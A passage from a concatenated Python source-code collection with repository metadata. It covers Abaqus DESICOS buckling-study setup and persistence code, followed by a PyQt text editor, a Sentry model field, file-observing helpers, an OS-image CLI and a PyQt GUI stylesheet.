laminate[:,2] if i != ''] stack = kwargs['stack'] kwargs['laminapropKeys'] = [i if i != '' else laminate[0,0] for i in laminate[:len(stack),0]] kwargs['plyts'] = [float(i) if i != '' else float(laminate[0,1]) for i in laminate[:len(stack),1]] #TODO currently only one allowable is allowed for stress analysis kwargs['allowables'] = [kwargs['allowables'] for _ in stack] #allowablesKeys = [float(i) if i != '' else laminate[0,3] \ # for i in laminate[:len(stack),1]] # # load asymmetry # #TODO list comprehension for these guys below la = kwargs.get('la') if la == 0: betadegs = [] omegadegs = [] elif la == 1: betadegs = [betadeg for i in range(num_models)] omegadegs = [omegadeg for i in range(num_models)] elif la == 2: if betadegs is not None: new_betadegs = [] for betadeg in betadegs: if betadeg: new_betadegs.append(betadeg[0]) betadegs = new_betadegs else: betadegs = [] if omegadegs is not None: new_omegadegs = [] for omegadeg in omegadegs: if omegadeg: new_omegadegs.append(omegadeg[0]) omegadegs = new_omegadegs else: omegadegs = [] num_models = max(num_models, len(betadegs), len(omegadegs)) # # damping # if not kwargs['artificial_damping1']: kwargs['damping_factor1'] = None if not kwargs['artificial_damping2']: kwargs['damping_factor2'] = None # std_name = find_std_name(kwargs.get('std_name')) # dirname = os.path.join(TMP_DIR, std_name, 'outputs') if not os.path.isdir(dirname): os.makedirs(dirname) # # std = study.Study() __main__.stds[std_name] = std std.name = std_name std.rebuild() for cc in std.ccs: cc.rebuilt = False cc.created_model = False for i in range(1, num_models+1): cc = conecyl.ConeCyl() for attr in ccattrs: setattr(cc, attr, kwargs[attr]) # adding load asymmetry i_model = i-1 if i_model < len(betadegs): cc.betadeg = betadegs[i_model] if i_model < len(omegadegs): cc.omegadeg = omegadegs[i_model] # adding perturbation loads i_model = i + num_params['pl'] if i_model < len(pl_table): for j in range(imp_num['pl']): theta = pl_table[0][j] pt = pl_table[1][j] pltotal = pl_table[i_model][j] cc.impconf.add_pload(theta, pt, pltotal, step=pload_step) #Adding constant buckle i_model = i + num_params['cbi'] if i_model < len(cb_table): for j in range(imp_num['cbi']): theta = cb_table[0][j] pt = cb_table[1][j] cbtotal = cb_table[i_model][j] cc.impconf.add_cb(theta, pt, cbtotal, step=pload_step) # adding single buckles i_model = i + num_params['d'] if i_model < len(d_table): for j in range(imp_num['d']): theta0 = d_table[0][j] z0 = d_table[1][j] a = d_table[2][j] b = d_table[3][j] wb = d_table[i_model][j] cc.impconf.add_dimple(theta0, z0, a, b, wb) # adding axisymmetrics i_model = i + num_params['ax'] if i_model < len(ax_table): for j in range(imp_num['ax']): z0 = ax_table[0][j] b = ax_table[1][j] wb = ax_table[i_model][j] cc.impconf.add_axisymmetric(z0, b, wb) # adding linear buckling mode-shaped imperfections i_model = i + num_params['lbmi'] if i_model < len(lbmi_table): for j in range(imp_num['lbmi']): mode = lbmi_table[0][j] scaling_factor = lbmi_table[i_model][j] cc.impconf.add_lbmi(mode, scaling_factor) # adding cutouts i_model = i + num_params['cut'] if i_model < len(cut_table): for j in range(imp_num['cut']): theta = cut_table[0][j] pt = cut_table[1][j] numel = cut_table[2][j] d = cut_table[i_model][j] cutout = cc.impconf.add_cutout(theta, pt, d, numel_radial_edge=numel) ## adding ply piece imperfection if ppi_enabled: info = [] for row in ppi_table: if row is False: continue # False may be appended if there is only one row keys = ['starting_position', 'rel_ang_offset', 'max_width', 'eccentricity'] try: info.append(dict((key, float(row[i])) for i, key in enumerate(keys) if row[i] != '')) except ValueError, e: raise ValueError('Invalid non-numeric value in Ply Piece Imperfection table:' + e.message.split(':')[-1]) cc.impconf.add_ppi(info, ppi_extra_height) # adding fiber fraction imperfection i_model = i-1 if i_model < len(ffi_scalings): global_sf, use_ti = ffi_scalings[i_model] if global_sf == 0: global_sf = None if use_ti or (global_sf is not None): cc.impconf.add_ffi(nominal_vf=kwargs['ffi_nominal_vf'], E_matrix=kwargs['ffi_E_matrix'], nu_matrix=kwargs['ffi_nu_matrix'], use_ti=use_ti, global_sf=global_sf) std.add_cc(cc) std.create_models(write_input_files=False) def run_study(std_name, ncpus, use_job_stopper): args = ['abaqus', 'python'] args.append(os.path.join(TMP_DIR, std_name, 'run_' + std_name + '.py')) args.append('cpus={0:d}'.format(ncpus)) args.append('gui') if use_job_stopper: args.append('use_stopper') run_cmd = ' '.join(args) subprocess.Popen(run_cmd, shell=True) def clean_output_folder(std_name): stds = __main__.stds if not std_name in stds.keys(): print('Study has not been created!') print('') return std = stds[std_name] cwd = os.getcwd() os.chdir(std.output_dir) try: if os.name == 'nt': os.system('move *.gaps ..') os.system('del /q *.*') os.system('move ..\*.gaps .') else: os.system('mv *.gaps ..') os.system('rm *.*') os.system('mv ..\*.gaps .') except: pass os.chdir(cwd) def save_study(std_name, params_from_gui): stds = __main__.stds if not std_name in stds.keys(): print('Study has not been created!') print(' ') return std = stds[std_name] std.params_from_gui = params_from_gui std.save() if not os.path.isdir(TMP_DIR): os.makedirs(TMP_DIR) os.chdir(TMP_DIR) __main__.mdb.saveAs(pathName = std_name + '.cae') print(r'The DESICOS study has been saved to "{0}.study".'.format( os.path.join(std.tmp_dir, std_name))) print(' ') def load_study(std_name): std = study.Study() std.tmp_dir = TMP_DIR std.name = std_name std = std.load() std_name = find_std_name(std_name) __main__.stds[std_name] = std __main__.openMdb(pathName = std_name + '.cae') vpname = __main__.session.currentViewportName __main__.session.viewports[vpname].setValues(displayedObject = None) mdb = __main__.mdb if std.ccs[0].model_name in mdb.models.keys(): mod = mdb.models[std.ccs[0].model_name] p = mod.parts['Shell'] __main__.session.viewports[vpname].setValues(displayedObject = p) a = mod.rootAssembly a.regenerate() for cc in std.ccs: if not cc.model_name in mdb.models.keys(): print('Could not load objects for model {0}!'.format( cc.model_name)) continue abaqus_functions.set_colors_ti(cc) def get_new_key(which, key, value): # Given a DB key and value # Check whether value is already in the DB, if not add it # and return a key that can be used to reference to 'value' value = tuple(value) # Convert list to tuple, if needed existing = fetch(which) # Inverse mapping. Sorting keeps result reliable if there are duplicated values. inv_existing = dict((v, k) for k, v in sorted(existing.iteritems(), reverse=True)) if key in existing and existing[key] == value: # Key already exists and with the correct value, reuse it return key if value in inv_existing: # There is already a name for this value in the DB, use it return str(inv_existing[value]) # Find a new (not yet used) name and save in the DB new_key = key i = 1 while new_key in existing: new_key = '{0}_{1:04d}'.format(key, i) i += 1 save(which, new_key, value) return new_key def reconstruct_params_from_gui(std): # First cc is often a linear one, so use the last cc as 'template' # XX - it is assumed that all other ccs use the same parameters cc = std.ccs[-1] params = {} for attr in ccattrs: if attr in ('laminapropKeys', 'allowables', 'stack', 'plyts', 'damping_factor1', 'damping_factor2'): continue value = getattr(cc, attr) params[attr] = value # Set artificial_dampingX and damping_factorX manually damping_attrs = [('damping_factor1', 'artificial_damping1'), ('damping_factor2', 'artificial_damping2')] for damp_attr, art_attr in damping_attrs: value = getattr(cc, damp_attr) params[damp_attr] = value if (value is not None) else 0. params[art_attr] = value is not None # Prevent the GUI from complaining about unset parameters for attr in ('axial_load', 'axial_displ', 'pressure_load'): if params[attr] is None: params[attr] = 0 # Set laminate properties if not (len(cc.laminaprops) == len(cc.stack) == len(cc.plyts) == len(cc.laminapropKeys)): raise ValueError('Loaded ConeCyl object has inconsistent stack length!') laminapropKeys = [] for key, value in zip(cc.laminapropKeys, cc.laminaprops): laminapropKeys.append(get_new_key('laminaprops', key, value)) params['laminapropKey'] = laminapropKeys[0] # allowableKey is not saved, so reuse laminapropKey for the name # TODO: Per-ply allowables params['allowablesKey'] = get_new_key('allowables', cc.laminapropKeys[0], cc.allowables[0]) # Construct laminate table # import here to avoid circular reference from testDB import NUM_PLIES, MAX_MODELS tmp = np.empty((NUM_PLIES, 3), dtype='|S50') tmp.fill('') tmp[:len(laminapropKeys),0] = laminapropKeys tmp[:len(cc.plyts),1] = cc.plyts tmp[:len(cc.stack),2] = cc.stack params['laminate'] = ','.join(['('+','.join(i)+')' for i in tmp]) # Apply perturbation loads # TODO: other imperfections all_ploads = list(chain.from_iterable(cci.impconf.ploads for cci in std.ccs)) all_ploads = map(lambda pl: (pl.thetadeg, pl.pt), all_ploads) # Filter duplicates, to obtain a list of unique pload parameter combinations seen = set() all_ploads = [x for x in all_ploads if not (x in seen or seen.add(x))] params['pl_num'] = len(all_ploads) nonlinear_ccs = filter(lambda cci: not cci.linear_buckling, std.ccs) # TODO: unduplicate magic numbers (here, in create_study and in testDB) # It'll only get worse when adding other imperfections as well if params['pl_num'] > 32: raise ValueError('Too many different perturbation load parameters') if len(nonlinear_ccs) > MAX_MODELS: raise ValueError('Too many different models') tmp = np.empty((len(nonlinear_ccs) + 3, 32), dtype='|S50') tmp.fill('') tmp[0,:len(all_ploads)] = [thetadeg for thetadeg, pt in all_ploads] tmp[1,:len(all_ploads)] = [pt for thetadeg, pt in all_ploads] for row, cci in enumerate(nonlinear_ccs, start=3): for pl in cci.impconf.ploads: assert (pl.thetadeg, pl.pt) in all_ploads tmp[row,all_ploads.index((pl.thetadeg, pl.pt))] = pl.pltotal params['pl_table'] = ','.join(['('+','.join(i)+')' for i in tmp]) # Apply PPI ppi = cc.impconf.ppi if ppi is not None: params['ppi_enabled'] = True params['ppi_extra_height'] = ppi.extra_height tmp = np.empty((len(ppi.info), 4), dtype='|S50') keys = ['starting_position', 'rel_ang_offset', 'max_width', 'eccentricity'] for i, info_dict in enumerate(ppi.info): tmp[i,:] = [str(info_dict.get(key, '')) for key in keys] params['ppi_table'] = ','.join(['('+','.join(i)+')' for i in tmp]) else: params['ppi_table'] = '' # Apply FFI ffi = cc.impconf.ffi if ffi is not None: params['ffi_nominal_vf'] = ffi.nominal_vf params['ffi_E_matrix'] = ffi.E_matrix params['ffi_nu_matrix'] = ffi.nu_matrix ffi_scalings = [] for cci in nonlinear_ccs: ffi = cci.impconf.ffi if ffi is None: ffi_scalings.append((0, False)) else: sf = ffi.global_sf if ffi.global_sf is not None else 0 ffi_scalings.append((sf, ffi.use_ti)) params['ffi_scalings'] = ','.join(str(s) for s in ffi_scalings) else: params['ffi_scalings'] = '' # MSI, TI for imp_type in ('ms', 't'): imps = getattr(cc.impconf, imp_type + 'is') if len(imps) == 0: params['imp_{0}_scalings'.format(imp_type)] = '' continue imp = imps[0] params['imp_{0}_theta_z_format'.format(imp_type)] = imp.use_theta_z_format params['imp_{0}_stretch_H'.format(imp_type)] = imp.stretch_H params['imp_{0}_ncp'.format(imp_type)] = imp.ncp params['imp_{0}_power_parameter'.format(imp_type)] = imp.power_parameter # rotatedeg seems not yet implemented in GUI ?! # params['imp_{0}_rotatedeg'.format(imp_type)] = imp.rotatedeg name_attr = 'imp_ms' if imp_type == 'ms' else 'imp_thick' params[name_attr] = getattr(imp, name_attr) if imp_type == 'ms': params['imp_r_TOL'] = imp.r_TOL else: params['imp_num_sets'] = imp.number_of_sets # If there are multiple TIs / MSIs, we are out of luck scalings = [] for cci in nonlinear_ccs: cci_imps = getattr(cci.impconf, imp_type + 'is') def filter_imps(impi): return getattr(impi, name_attr) == getattr(imp, name_attr) cci_imps = filter(filter_imps, cci_imps) scalings.append(0 if len(cci_imps) == 0 else cci_imps[0].scaling_factor) scalings = ','.join(str(s) for s in scalings) params['imp_{0}_scalings'.format(imp_type)] = scalings params['std_name'] = std.name std.params_from_gui = params def load_study_gui(std_name, form): std = study.Study() std.tmp_dir = TMP_DIR std.name = std_name std = std.load() saved_from_gui = len(std.params_from_gui) != 0 if not saved_from_gui: reconstruct_params_from_gui(std) form.setDefault() form.read_params_from_gui(std.params_from_gui) return saved_from_gui

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null

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0

1

d3230aebfb6ec10341841fb4d94700228d875338

2,277

py

Python

pydeelib/widgets/texteditor.py

pombreda/pydee

133609d4e378361d968e7a06baa11256e0e2f403

[ "MIT" ]

null

pydeelib/widgets/texteditor.py

pombreda/pydee

133609d4e378361d968e7a06baa11256e0e2f403

[ "MIT" ]

null

pydeelib/widgets/texteditor.py

pombreda/pydee

133609d4e378361d968e7a06baa11256e0e2f403

[ "MIT" ]

null

# -*- coding: utf-8 -*- # # Copyright © 2009 Pierre Raybaut # Licensed under the terms of the MIT License # (see pydeelib/__init__.py for details) """ Text Editor Dialog based on PyQt4 """ # pylint: disable-msg=C0103 # pylint: disable-msg=R0903 # pylint: disable-msg=R0911 # pylint: disable-msg=R0201 from PyQt4.QtCore import Qt from PyQt4.QtCore import SIGNAL, SLOT from PyQt4.QtGui import QVBoxLayout, QTextEdit, QDialog, QDialogButtonBox # Local import from pydeelib.config import get_icon, get_font class TextEditor(QDialog): """Array Editor Dialog""" def __init__(self, text, title='', font=None, parent=None): super(TextEditor, self).__init__(parent) self.layout = QVBoxLayout() self.setLayout(self.layout) # Text edit self.edit = QTextEdit(parent) self.edit.setPlainText(text) if font is None: font = get_font('texteditor') self.edit.setFont(font) self.layout.addWidget(self.edit) # Buttons configuration bbox = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel ) self.connect(bbox, SIGNAL("accepted()"), SLOT("accept()")) self.connect(bbox, SIGNAL("rejected()"), SLOT("reject()")) self.layout.addWidget(bbox) # Make the dialog act as a window self.setWindowFlags(Qt.Window) self.setWindowIcon(get_icon('edit.png')) self.setWindowTitle(self.tr("Text editor") + \ "%s" % (" - "+str(title) if str(title) else "")) self.resize(400, 300) def get_copy(self): """Return modified text""" return unicode(self.edit.toPlainText()) def main(): """Text editor demo""" from PyQt4.QtGui import QApplication QApplication([]) dialog = TextEditor(""" 01234567890123456789012345678901234567890123456789012345678901234567890123456789 dedekdh elkd ezd ekjd lekdj elkdfjelfjk e """) if dialog.exec_(): text = dialog.get_copy() print "Accepted:", text dialog = TextEditor(text) dialog.exec_() else: print "Canceled" if __name__ == "__main__": main()

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null

0

null

0

1

0

1

d3256dbf7b293bf8be691bd30c05059ca559be89

685

py

Python

src/sentry/db/models/fields/foreignkey.py

withrocks/commonlims

d8a925c917aa26e8205fefb3966a9f49f8f2e2f8

[ "BSD-3-Clause" ]

4

2019-05-27T13:55:07.000Z

2021-03-30T07:05:09.000Z

src/sentry/db/models/fields/foreignkey.py

withrocks/commonlims

d8a925c917aa26e8205fefb3966a9f49f8f2e2f8

[ "BSD-3-Clause" ]

99

2019-05-20T14:16:33.000Z

2021-01-19T09:25:15.000Z

src/sentry/db/models/fields/foreignkey.py

withrocks/commonlims

d8a925c917aa26e8205fefb3966a9f49f8f2e2f8

[ "BSD-3-Clause" ]

1

2020-08-10T07:55:40.000Z

""" sentry.db.models.fields.foreignkey ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ from __future__ import absolute_import from django.db.models import ForeignKey __all__ = ('FlexibleForeignKey', ) class FlexibleForeignKey(ForeignKey): def db_type(self, connection): # This is required to support BigAutoField (or anything similar) rel_field = self.target_field if hasattr(rel_field, 'get_related_db_type'): return rel_field.get_related_db_type(connection) return super(FlexibleForeignKey, self).db_type(connection)

29.782609

75

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0.061002

0.078431

0.104575

0

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685

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0

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0

1

0.111111

false

0

0.222222

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0.666667

0

null

0

null

0

1

0

1

d32a4aebc5975eb5e4c7cdb76bcd29f0483434fb

3,235

py

Python

pybond/bond/bond_helpers/observe_files.py

necula01/bond

7ac262bc9695ba493985c784999509dec979e37a

[ "BSD-2-Clause-FreeBSD" ]

8

2015-11-19T01:14:08.000Z

2017-06-16T11:21:16.000Z

pybond/bond/bond_helpers/observe_files.py

gnecula/bond

7ac262bc9695ba493985c784999509dec979e37a

[ "BSD-2-Clause-FreeBSD" ]

26

2015-10-12T21:31:13.000Z

2017-04-11T13:57:33.000Z

pybond/bond/bond_helpers/observe_files.py

gnecula/bond

7ac262bc9695ba493985c784999509dec979e37a

[ "BSD-2-Clause-FreeBSD" ]

3

2015-10-30T01:12:10.000Z

2016-03-26T16:58:17.000Z

# Helper functions to observe files and directories import os import re def collect_directory_contents(directory, file_filter=None, collect_file_contents=False): """ Collect an object reflecting the contents of a directory :param directory: the directory where to start the traversal :param file_filter: either a string representing a regular expression on the name of the files and directories to be included, or a function that given the directory and the filename returns true or false, whether the directory or file should be included. :param collect_file_contents: indicates whether to collect the contents of files. True means to include contents of all files, :return: a dictionary with keys corresponding to basename of files and subdirectories. Only files that are allowed by the file_filter are included. If the file contents is collected then the dictionary contains a list of lines. """ # TODO: figure out a more general form for this, perhaps using # a configurable visitor to define how to visit each file result = { } # map from file name to file data. # file data is either None (if the contents is not spied), # or an array of lines # Prepare the file filter file_filter_func = None if file_filter: if isinstance(file_filter, basestring): file_filter_regexp = re.compile(file_filter) file_filter_func = lambda rel_file: file_filter_regexp.match(rel_file) else: # TODO: assert that it is a function file_filter_func = file_filter collect_file_contents_func = None if collect_file_contents: if isinstance(collect_file_contents, bool): if collect_file_contents: collect_file_contents_func = lambda rel_file: True elif isinstance(collect_file_contents, basestring): include_file_contents_regexp = re.compile(collect_file_contents) collect_file_contents_func = lambda rel_file: include_file_contents_regexp.match(rel_file) else: # TODO: assert that it is a function collect_file_contents_func = collect_file_contents def recurse(rel_subdir, result_data): name_subdir = os.path.join(directory, rel_subdir) for basename in os.listdir(name_subdir): rel_file = os.path.join(rel_subdir, basename) file = os.path.join(directory, rel_file) if file_filter_func and not file_filter_func(rel_file): continue if os.path.isdir(file): subresult_data = {} result_data[basename] = subresult_data recurse(rel_file, subresult_data) else: if collect_file_contents_func and collect_file_contents_func(rel_file): with open(file, 'r') as f: lines = f.readlines () result_data[basename] = [l.rstrip() for l in lines ] else: result_data[basename] = None recurse('', result) return result

44.930556

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3,235

4.895122

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0.101644

0.132536

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null

0

null

0

1

0

1

d32db38b32c9c1c912fe1cbdd41b39ddaa026dbb

437

py

Python

src/aceinna/devices/configs/openimu_predefine.py

LukaszChl/ros_openimu

1bcf547fa42ee7c7dcc856c1d4eb5702d301b059

[ "Apache-2.0" ]

6

2021-03-18T16:18:53.000Z

2022-01-18T15:32:15.000Z

src/aceinna/devices/configs/openimu_predefine.py

LukaszChl/ros_openimu

1bcf547fa42ee7c7dcc856c1d4eb5702d301b059

[ "Apache-2.0" ]

11

2020-12-22T16:19:20.000Z

2022-02-11T11:03:25.000Z

src/aceinna/devices/configs/openimu_predefine.py

LukaszChl/ros_openimu

1bcf547fa42ee7c7dcc856c1d4eb5702d301b059

[ "Apache-2.0" ]

11

2021-04-12T03:00:28.000Z

2022-03-25T19:53:43.000Z

""" predefined params for openimu """ JSON_FILE_NAME = 'openimu.json' def get_app_names(): ''' define openimu app type ''' app_names = ['Compass', 'IMU', 'INS', 'Leveler', 'OpenIMU', 'VG', 'VG_AHRS', ] return app_names APP_STR = ['INS', 'VG', 'VG_AHRS', 'Compass', 'Leveler', 'IMU', 'OpenIMU']

19

74

0.434783

40

437

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0.525

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0

0.414188

437

22

75

19.863636

0.707031

0.121281

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0.232687

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0.083333

false

0.166667

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0.166667

0

null

0

null

0

1

0

1

d331cf8fdbde34709011fa6dbc66e215380c30c3

4,650

py

Python

src/bake_a_py/cli.py

derSuessmann/bake-a-py

1fd2a0a4fa473215b44d2718755c5994a5588343

[ "MIT" ]

null

src/bake_a_py/cli.py

derSuessmann/bake-a-py

1fd2a0a4fa473215b44d2718755c5994a5588343

[ "MIT" ]

null

src/bake_a_py/cli.py

derSuessmann/bake-a-py

1fd2a0a4fa473215b44d2718755c5994a5588343

[ "MIT" ]

null

import sys import traceback import click from . import imaging_utility as iu from . import provisioning from . import __version__ def eprint(msg, show): if show: traceback.print_exc() print(file=sys.stderr) click.echo(msg, file=sys.stderr) @click.group() @click.version_option(__version__) @click.option('--traceback', is_flag=True, help='Show the full python exception if an error occurs.') @click.pass_context def cli(ctx, traceback): ctx.ensure_object(dict) ctx.obj['TRACEBACK'] = traceback @cli.command() @click.option('--hidden/--plain', default=True, help='Hide or show password input.') @click.pass_context def create(ctx, hidden): """Create a provisioning configuration.""" try: provisioning.create(hidden) except Exception as exc: eprint(f'Creating provisioning configuration failed ({exc}).', ctx.obj['TRACEBACK']) @cli.command() @click.argument('os') @click.option('--image-cache', type=click.Path(file_okay=False), default='~/.cache/bake-a-py', help='Path where the downloaded image is stored.') @click.option('-o', '--output', help='Device path to write the OS image to.') @click.option('--chksum/--no-chksum', '-c/ ', default=False, help='Check the checksum of the OS image before writing.') @click.option('--target', '-t', help='Name of the configuration file.') @click.option('--become', '-b', is_flag=True, help='Run the writing of the image as super user.') @click.option('--remove', '-r', is_flag=True, help='Remove the image file after writing.') @click.option('--keep', '-k', is_flag=True, help='Keep the downloaded archive.') @click.option('--encrypted/--decrypted', ' /-d', default=True, help='Force usage of encrypted or decrypted provisioning configuration.') @click.pass_context def write(ctx, os, image_cache, output, chksum, target, become, remove, keep, encrypted): """Write the image. OS is the image name (one of the results of the list command). This command download, extracts, checks integrity, writes and provisions if neccessary. """ try: iu.write(os, image_cache, output, target, chksum, become, remove, keep, encrypted) except Exception as exc: eprint(f'Writing failed ({exc}).', ctx.obj['TRACEBACK']) @cli.command() @click.argument('target') @click.option('-o', '--output', help='Device path to write the OS image to.') @click.option('--encrypted/--decrypted', ' /-d', default=True, help='Force usage of encrypted or decrypted provisioning configuration.') @click.pass_context def provision(ctx, target, output, encrypted): """Provision the os on OUTPUT for TARGET. TARGET is the name of the configuration file. """ try: iu.provision(target, output, encrypted) except Exception as exc: eprint(f'Provisioning failed ({exc}).', ctx.obj['TRACEBACK']) @cli.command() @click.argument('device') @click.pass_context def mount(ctx, device): """Mount all partitions on DEVICE.""" try: iu.udisks2.mount(device) except Exception as exc: eprint(f'Mounting {device} failed ({exc}).', ctx.obj['TRACEBACK']) @cli.command() @click.argument('device') @click.pass_context def unmount(ctx, device): """Unmount all partitions on DEVICE.""" try: iu.udisks2.unmount(device) except Exception as exc: eprint(f'Unmounting {device} failed ({exc}).', ctx.obj['TRACEBACK']) @cli.command() @click.option('-a', '--all', is_flag=True, help='All available images (not only Raspberry Pi OS images).') @click.pass_context def list(ctx, all): """List available OS images.""" try: if all: result = iu.get_all_images() else: result = iu.get_raspios_flavors() click.echo('\n'.join(result)) except Exception as exc: eprint(f'Listing OS images failed ({exc}).', ctx.obj['TRACEBACK']) @cli.command() @click.option('--verbose', '-v', is_flag=True, help='Show the complete description of the os image.') @click.argument('name') @click.pass_context def describe(ctx, name, verbose): """Display the description of the OS image NAME. """ try: desc = iu.get_image_description(name) if verbose: click.echo(desc) else: click.echo(desc['description']) except Exception as exc: eprint(f'Displaying description of {name} failed ({exc}).', ctx.obj['TRACEBACK']) if __name__ == '__main__': cli(obj={})

31

79

0.641505

596

4,650

4.932886

0.248322

0.052381

0.043537

0.051701

0.39932

0.347619

0.305782

0.236395

0.169728

0

0.000545

0.210108

4,650

150

80

31

0.799891

0.093548

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false

0.075

0.05

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0.125

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0

null

0

null

0

1

0

1

d3356a95eb136cde9fb2ff5f5c78c32c6a43c33c

7,264

py

Python

scellseg/guis/scellsegGui.py

cellimnet/scellseg-publish

03bfbae11fedcf430c40419c9afadf55cbd3034d

[ "BSD-3-Clause" ]

1

2022-03-04T01:55:40.000Z

scellseg/guis/scellsegGui.py

cellimnet/scellseg-publish

03bfbae11fedcf430c40419c9afadf55cbd3034d

[ "BSD-3-Clause" ]

null

scellseg/guis/scellsegGui.py

cellimnet/scellseg-publish

03bfbae11fedcf430c40419c9afadf55cbd3034d

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'cellPoseUI.ui' # Created by: PyQt5 UI code generator 5.11.3 import os, platform, ctypes, sys from PyQt5 import QtWidgets from PyQt5.QtCore import Qt from PyQt5.QtGui import QFontDatabase from scellseg.guis.scellsegUi import Ui_MainWindow class scellsegGui(Ui_MainWindow): def __init__(self, image=None, parent = None): super(scellsegGui, self).__init__(parent) self.setupUi(self) self.splitter.setSizes([500, 250]) self.splitter.handle(1).setAttribute(Qt.WA_Hover, True) self.splitter2.handle(1).setAttribute(Qt.WA_Hover, True) def closeEvent(self, event): answer = QtWidgets.QMessageBox.question(self, 'Close', 'Close Scellseg', QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) if answer == QtWidgets.QMessageBox.Yes: event.accept() elif answer == QtWidgets.QMessageBox.No: event.ignore() def start_gui(): Translucent = 'rgba(255,255,255,0)' Primary = '#fafafa' PrimaryLight = '#C0C0C0' ListColor = '#F0F0F0' SliderColor = '#0078D7' LabelColor = '#7A581E' BlackColor = '#000000' BtnColor = '#0066FF' Secondary = '#D3D3D3' SecondaryLight = '#D3D3D3' SecondaryDark = '#D3D3D3' SecondaryText = '#000000' border_image_path = os.path.dirname(os.path.abspath(__file__)).replace('\\', '/') + '/assets/slider_handle.png' sheet = [ 'QWidget', '{', 'outline: 0;', 'font: 11pt "文泉驿微米黑";', 'selection-color: {0:s};'.format(SecondaryText), 'selection-background-color: {0:s};'.format(Secondary), ' } ', 'QSlider::handle:horizontal#rangeslider' '{', 'border-image: url({0:s});'.format(border_image_path), '}', 'QLabel#label_seg', '{', 'color: {0:s};'.format(LabelColor), 'font: bold 18px "Arial"', '}', 'QLabel#label_batchseg', '{', 'color: {0:s};'.format(LabelColor), 'font: bold 18px "Arial"', '}', 'QLabel#label_getsingle', '{', 'color: {0:s};'.format(LabelColor), 'font: bold 18px "Arial"', '}', 'QSplitter::handle:horizontal', '{', 'width: 10px;', '}', 'QSplitter::handle:vertical', '{', 'height: 10px;', '}', 'QSplitter::handle', '{', 'background-color: {0:s};'.format(Translucent), '}', 'QSplitter::handle:hover', '{', 'background-color: {0:s};'.format(Secondary), '}', 'QSplitter::handle:pressed', '{', 'background-color: {0:s};'.format(Secondary), '}', 'QTableView', '{', 'background-color: {0:s};'.format(ListColor), 'border-style: none;', '}', 'QHeaderView', '{', 'background-color: {0:s};'.format(Translucent), 'border-bottom: 2px solid #505050', '}', 'QHeaderView::section', '{', 'background-color: {0:s};'.format(Translucent), 'border-bottom: 2px solid #505050', '}', 'QMenuBar', '{', 'background-color: {0:s};'.format(Primary), 'border-width: 1px;', 'border-style: none;', 'border-color: {0:s};'.format(SecondaryDark), 'color: {0:s};'.format(SecondaryText), 'margin: 0px;', '}', 'QMenuBar::item:selected', '{', 'background-color: {0:s};'.format(Secondary), 'color: {0:s};'.format(SecondaryText), '}', 'QMenu', '{', 'background-color:{0:s};'.format(PrimaryLight), 'border-width: 2px;', 'border-style: solid;', 'border-color: {0:s};'.format(SecondaryDark), 'margin: 0px;', '}', 'QMenu::separator' '{', 'height: 2px;' 'background-color: {0:s};'.format(Primary), 'margin: 0px 2px;', '}', 'QMenu::icon:checked', '{', 'background-color: {0:s};'.format(Secondary), 'border-width: 1px;', 'border-style: solid;', 'border-color: {0:s};'.format(Primary), '}', 'QMenu::item', '{', 'padding: 4px 25px 4px 20px;', '}', 'QMenu::item:selected', '{', 'background-color: {0:s};'.format(Secondary), 'color: {0:s};'.format(SecondaryText), '}', 'QToolBox::tab', '{', 'background-color: {0:s};'.format(SecondaryLight), 'border: 2px solid #e3e3e3;', 'padding: 5px;', '}', 'QToolBox::tab:selected', '{', 'background-color: {0:s};'.format(SecondaryDark), 'color: {0:s};'.format(SecondaryText), 'border: 2px solid #333;', '}', 'QWidget#page,QWidget#page_2,QWidget#page_3', '{', 'backgroundcolor:#F0F0F0;', # 'background-image: url(./assets/background.jpg);', '}', 'QProgressBar {', 'border: 1px solid rgb(0,0,0);', 'border-radius: 2px;', 'background-color: {0:s};'.format(SecondaryLight), '}', 'QProgressBar::chunk {', 'border: 1px solid rgb(0,0,0);', 'border-radius: 0px;', 'background-color: {0:s};'.format(SecondaryDark), 'width: 10px;', 'margin: 2px;', '}', 'QLabel#jLabelPicture', '{', 'border-width: 2px;', 'border-radius: 0px;', 'border-style: solid;', 'border-color: {0:s};'.format(SecondaryDark), '}', 'QScrollBar,QScrollBar::add-line,QScrollBar::add-page,QScrollBar::sub-line,QScrollBar::sub-page', '{', 'background-color: {0:s};'.format(Translucent), '}', 'QScrollBar:horizontal', '{', 'height: 10px;', '}', 'QScrollBar:vertical', '{', 'width: 10px;', '}', 'QScrollBar::handle', '{', 'background-color: {0:s};'.format(Translucent), '}', 'QScrollBar::handle:hover', '{', 'background-color: {0:s};'.format(Secondary), '}', 'QScrollBar::handle:pressed', '{', 'background-color: {0:s};'.format(Secondary), '}', ] app = QtWidgets.QApplication(sys.argv) loadedFontID = QFontDatabase.addApplicationFont( os.path.join(os.path.dirname(os.path.abspath(__file__)), "assets", "Font", "wqy-microhei.ttc")) print('operating system: ', platform.system()) if platform.system() == 'Windows': ctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID("scellseg") gui = scellsegGui() app.setStyleSheet('\n'.join(sheet)) gui.show() sys.exit(app.exec_()) if __name__ == "__main__": start_gui()

30.016529

116

0.499587

638

7,264

5.623824

0.299373

0.018952

0.075808

0.119565

0.422798

0.389911

0.316332

0.244426

0.185619

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0.318557

7,264

242

117

30.016529

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0.350592

0.078104

0

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false

0

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0.042453

0.004717

0

null

0

1

0

null

0

1

d33d05aa2036a3db33dfe5549b91f4bc1ae6e12f

770

py

Python

test/visualization/test_visualize.py

wukathryn/axondeepseg

b5533f37d5337759fd0fd4186e286cb201b66c65

[ "MIT" ]

115

2017-11-08T02:24:31.000Z

2022-02-10T19:03:57.000Z

test/visualization/test_visualize.py

wukathryn/axondeepseg

b5533f37d5337759fd0fd4186e286cb201b66c65

[ "MIT" ]

511

2017-12-05T15:23:09.000Z

2022-02-22T19:38:43.000Z

test/visualization/test_visualize.py

wukathryn/axondeepseg

b5533f37d5337759fd0fd4186e286cb201b66c65

[ "MIT" ]

35

2017-11-30T13:36:28.000Z

2022-01-10T18:11:06.000Z

